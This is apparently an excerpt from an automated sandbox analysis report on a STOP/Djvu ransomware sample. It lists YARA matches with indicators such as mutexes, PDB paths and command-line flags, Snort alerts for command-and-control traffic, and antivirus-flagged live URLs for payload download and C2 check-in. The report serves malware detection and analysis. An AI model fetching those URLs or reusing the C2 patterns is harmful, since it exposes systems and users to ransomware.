11.2.g0Zq7nJjus.exe.25e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.g0Zq7nJjus.exe.25e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.g0Zq7nJjus.exe.25e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.g0Zq7nJjus.exe.25d15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.g0Zq7nJjus.exe.25d15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.g0Zq7nJjus.exe.25d15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.g0Zq7nJjus.exe.26c15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.g0Zq7nJjus.exe.26c15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.g0Zq7nJjus.exe.26c15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.g0Zq7nJjus.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.g0Zq7nJjus.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.g0Zq7nJjus.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.g0Zq7nJjus.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.g0Zq7nJjus.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.g0Zq7nJjus.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.g0Zq7nJjus.exe.26615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.g0Zq7nJjus.exe.26615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.g0Zq7nJjus.exe.26615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.g0Zq7nJjus.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.g0Zq7nJjus.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.g0Zq7nJjus.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.g0Zq7nJjus.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.g0Zq7nJjus.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.g0Zq7nJjus.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.g0Zq7nJjus.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.g0Zq7nJjus.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.g0Zq7nJjus.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.g0Zq7nJjus.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.g0Zq7nJjus.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.g0Zq7nJjus.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.g0Zq7nJjus.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.g0Zq7nJjus.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.g0Zq7nJjus.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.g0Zq7nJjus.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.g0Zq7nJjus.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.g0Zq7nJjus.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.g0Zq7nJjus.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.g0Zq7nJjus.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.g0Zq7nJjus.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.g0Zq7nJjus.exe.26e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.g0Zq7nJjus.exe.26e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.g0Zq7nJjus.exe.26e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Snort Signatures

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 196.188.169.138

Timestamp:	192.168.2.6196.188.169.13849722802833438 01/11/24-13:45:06.856358
SID:	2833438
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.6 - Destination IP: 95.86.30.3

Timestamp:	192.168.2.695.86.30.349714802036333 01/11/24-13:45:00.871218
SID:	2036333
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.6 - Destination IP: 196.188.169.138

Timestamp:	192.168.2.6196.188.169.13849717802036333 01/11/24-13:45:04.064267
SID:	2036333
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.6 - Destination IP: 196.188.169.138

Timestamp:	192.168.2.6196.188.169.13849717802020826 01/11/24-13:45:04.064267
SID:	2020826
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 196.188.169.138

Timestamp:	192.168.2.6196.188.169.13849716802833438 01/11/24-13:45:01.366168
SID:	2833438
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 196.188.169.138

Timestamp:	192.168.2.6196.188.169.13849734802833438 01/11/24-13:45:12.636900
SID:	2833438
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.6 - Destination IP: 95.86.30.3

Timestamp:	192.168.2.695.86.30.349714802020826 01/11/24-13:45:00.871218
SID:	2020826
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 196.188.169.138

Timestamp:	192.168.2.6196.188.169.13849741802833438 01/11/24-13:45:18.172716
SID:	2833438
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: g0Zq7nJjus.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://zexeq.com/files/1/build3.exe$run	URL Reputation: Label: malware
Source: http://zexeq.com/files/1/build3.exe	URL Reputation: Label: malware
Source: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php/	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=trueP	Avira URL Cloud: Label: malware
